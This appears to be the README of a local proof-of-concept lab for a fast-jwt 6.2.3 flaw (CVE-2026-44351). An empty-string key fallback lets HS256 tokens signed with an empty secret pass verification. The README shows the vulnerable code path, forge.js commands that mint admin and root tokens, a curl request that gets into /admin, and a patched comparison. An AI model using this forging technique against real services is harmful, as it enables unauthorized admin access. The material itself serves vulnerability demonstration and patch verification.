const verify = createVerifier({
  // ライブラリ自体が文書化している標準的なJWKSパターン
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // 分岐 !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // HMACファミリーが割り当てられる
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (長さチェックなし)
  verifyToken(currentKey, decoded, validationContext)
})

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

node forge.js                          # 画面にトークン + curlコマンドを表示
node forge.js -o /tmp/jwt.txt          # トークンをファイルに保存
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

npm run demo        # [email protected] -> 偽造トークンが受け入れられる
npm run fixed       # [email protected] -> 偽造トークンが拒否される (FAST_JWT_INVALID_KEY)

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

node server.js            # または再度: docker compose up -d --build server
open http://localhost:3000

.
├── Dockerfile            fast-jwt 6.2.3 と 6.2.4 (fixed/) のイメージ
├── docker-compose.yml    server / demo / fixed-demo サービス (exploitなし)
├── .dockerignore         node_modulesをビルドコンテキストから除外
├── package.json          依存関係: [email protected] (脆弱)
├── server.js             脆弱なAPI (フォールバック || '' 付きasync key resolver) + /admin + /login + 静的ファイル
├── forge.js              唯一のスクリプト: 空のsecretでJWTを生成 / トークンを検査
├── demo.js               [email protected] (脆弱) に対するライブラリレベルのデモ
├── public/               「実際のアプリ」フロントエンド (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + クライアントサイド偽造 (純粋なJSでの鍵 '' によるHMAC-SHA256)
├── docs/
│   └── CVE-2026-44351.md 技術ドキュメント: 内容、根本原因、パッチ
└── fixed/
    ├── package.json      依存関係: [email protected] (パッチ済み)
    └── demo.js           [email protected] (パッチ済み) に対する同じデモ